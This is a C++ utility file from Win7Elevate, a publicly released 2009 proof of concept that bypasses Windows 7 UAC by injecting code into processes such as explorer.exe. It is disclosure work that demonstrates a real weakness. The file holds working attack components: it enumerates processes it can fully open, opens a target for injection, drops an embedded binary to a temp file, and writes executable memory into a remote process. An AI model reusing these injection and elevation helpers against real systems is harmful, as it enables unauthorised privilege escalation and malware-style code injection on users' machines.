#include "stdafx.h" #include "Win7Elevate_Utils.h" #include ".\..\CMMN.h" // All code (except for GetElevationType) (C) Leo Davidson, 8th February 2009, all rights reserved. // (Minor tidy-up 12th June 2009 for the code's public release.) // http://www.pretentiousname.com // leo@ox.compsoc.net // // Using any part of this code for malicious purposes is expressly forbidden. // // This proof-of-concept code is intended only to demonstrate that code-injection // poses a real problem with the default UAC settings in Windows 7 (tested with RC1 build 7100). // // Win7Elevate_Inject.cpp is the most interesting file. Most of the rest is just boilerplate UI/util code. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapProcs) { // Note: We probably need to target a process which has the same ASLR setting as us, i.e. ON. // Explorer.exe is our default since it has ASLR on, is always running and can do the COM silent-elevation stuff by default. bool bResult = false; mapProcs.clear(); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { //MessageBox(hWnd, L"CreateToolhelp32Snapshot failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); CLogger::LogLine(L"CreateToolhelp32Snapshot failed"); } else { bool bFirst = true; PROCESSENTRY32 pe; while(true) { ZeroMemory(&pe, sizeof(pe)); pe.dwSize = sizeof(pe); BOOL bPR = FALSE; if (bFirst) { bFirst = false; bPR = Process32First(hSnapshot, &pe); } else { bPR = Process32Next(hSnapshot, &pe); } if (!bPR) { DWORD dwErr = GetLastError(); if (ERROR_NO_MORE_FILES != dwErr) { //MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); CLogger::LogLine(L"Process32Next/First failed"); } else if (mapProcs.empty()) { //MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING); CLogger::LogLine(L"Process32Next/First returned nothing"); } else { bResult = true; } break; // Stop enumerating. } // Only insert processes that we can open HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProc != 0) { CloseHandle(hProc); mapProcs.insert( std::make_pair( pe.th32ProcessID, pe.szExeFile ) ); } } CloseHandle(hSnapshot); } return bResult; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool W7EUtils::OpenProcessToInject(HWND hWnd, HANDLE *pOutProcHandle, DWORD dwPid, const wchar_t *szProcName) { *pOutProcHandle = 0; if (szProcName == NULL) { //MessageBox(hWnd, L"No process name passed in", L"Win7Elevate", MB_OK | MB_ICONWARNING); CLogger::LogLine(L"No process name passed in"); return false; } *pOutProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (*pOutProcHandle == 0) { DWORD dwError = GetLastError(); wchar_t szPID[128]; _itow_s(dwPid, szPID, _countof(szPID), 10); wchar_t szError[128]; _itow_s(dwError, szError, _countof(szError), 10); std::wstring strMsg = L"Couldn't open process "; strMsg += szProcName; strMsg += L" (pid: "; strMsg += szPID; strMsg += L") "; if (dwError == ERROR_ACCESS_DENIED) { strMsg += L"ERROR_ACCESS_DENIED\n(We probably tried to inject into an elevated process\nwhich isn't allowed unless we're also elevated.\nPick an unelevated process.)"; } else { strMsg += L"error "; strMsg += szError; } //MessageBox(hWnd, strMsg.c_str(), L"Win7Elevate", MB_OK | MB_ICONWARNING); CLogger::LogLine(strMsg); return false; } return true; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// W7EUtils::CTempResource::CTempResource(HINSTANCE hInstance, int iResourceId) : m_hInstance(hInstance) , m_iResourceId(iResourceId) { } // virtual W7EUtils::CTempResource::~CTempResource() { if (!m_strFilePath.empty()) { DeleteFile(m_strFilePath.c_str()); m_strFilePath.clear(); } m_iResourceId = 0; } bool W7EUtils::CTempResource::GetFilePath(std::wstring &strPath) { if (m_strFilePath.empty()) { wchar_t szTempPath[MAX_PATH]; DWORD dwTemp = GetTempPath(_countof(szTempPath), szTempPath); if (dwTemp != 0 && dwTemp < _countof(szTempPath)) { HRSRC hResource = FindResource(m_hInstance, MAKEINTRESOURCE(m_iResourceId), L"BINARY"); if (hResource) { HGLOBAL hLoadedResource = LoadResource(m_hInstance, hResource); if (hLoadedResource) { LPVOID pLockedResource = LockResource(hLoadedResource); if (pLockedResource) { DWORD dwResourceSize = SizeofResource(m_hInstance, hResource); if (0 != dwResourceSize) { wchar_t szTempFilePath[MAX_PATH]; if (0 != GetTempFileName(szTempPath, L"w7e", 0, szTempFilePath)) { HANDLE hFile = CreateFile(szTempFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE != hFile) { DWORD dwBytesWritten = 0; if (WriteFile(hFile, pLockedResource, dwResourceSize, &dwBytesWritten, NULL) && dwBytesWritten == dwResourceSize) { m_strFilePath = szTempFilePath; } CloseHandle(hFile); if (m_strFilePath.empty()) { DeleteFile(szTempFilePath); } } } } } } } } } if (!m_strFilePath.empty()) { strPath = m_strFilePath; return true; } strPath.clear(); return false; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// W7EUtils::CRemoteMemory::CRemoteMemory(HANDLE hRemoteProcess) : m_hRemoteProcess(hRemoteProcess) , m_bAnyFailures(false) { } // virtual W7EUtils::CRemoteMemory::~CRemoteMemory() { while(!m_listRemoteAllocations.empty()) { VirtualFreeEx(m_hRemoteProcess, m_listRemoteAllocations.back(), 0, MEM_RELEASE); m_listRemoteAllocations.pop_back(); } } void W7EUtils::CRemoteMemory::LeakMemory() { m_listRemoteAllocations.clear(); } bool W7EUtils::CRemoteMemory::AnyFailures() const { return m_bAnyFailures; } void *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const void *pLocalBuffer, SIZE_T bufferSize, bool bExecutable, bool bConst) { void *pRemoteAllocation = VirtualAllocEx(m_hRemoteProcess, 0, bufferSize, MEM_COMMIT | PAGE_READWRITE, bExecutable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE); if (pRemoteAllocation) { DWORD dwOldProtect = 0; if (!WriteProcessMemory(m_hRemoteProcess, pRemoteAllocation, pLocalBuffer, bufferSize, NULL) || (!bExecutable && !bConst && !VirtualProtectEx(m_hRemoteProcess, pRemoteAllocation, bufferSize, bExecutable ? PAGE_EXECUTE_READ : PAGE_READONLY, &dwOldProtect))) { VirtualFreeEx(m_hRemoteProcess, pRemoteAllocation, 0, MEM_RELEASE); pRemoteAllocation = 0; } else { m_listRemoteAllocations.push_back(pRemoteAllocation); } } if (pRemoteAllocation == 0) { m_bAnyFailures = true; } return pRemoteAllocation; } wchar_t *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const wchar_t *szLocalString, bool bConst) { return reinterpret_cast< wchar_t * >( this->AllocAndCopyMemory( reinterpret_cast< const void * >( szLocalString ), (wcslen(szLocalString)+1) * sizeof(szLocalString[0]), false, bConst ) ); } char *W7EUtils::CRemoteMemory::AllocAndCopyMemory(const char *szLocalString, bool bConst) { return reinterpret_cast< char * >( this->AllocAndCopyMemory( reinterpret_cast< const void * >( szLocalString ), (strlen(szLocalString)+1) * sizeof(szLocalString[0]), false, bConst ) ); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // GetElevationType slightly modified from original by Andrei Belogortseff // From http://stackoverflow.com/questions/95912/how-can-i-detect-if-my-process-is-running-uac-elevated-or-not bool W7EUtils::GetElevationType(TOKEN_ELEVATION_TYPE * ptet) { bool bResult = false; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { DWORD dwReturnLength = 0; if (GetTokenInformation(hToken, TokenElevationType, ptet, sizeof(*ptet), &dwReturnLength )) { assert(dwReturnLength == sizeof(*ptet)); bResult = true; } CloseHandle(hToken); } return bResult; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////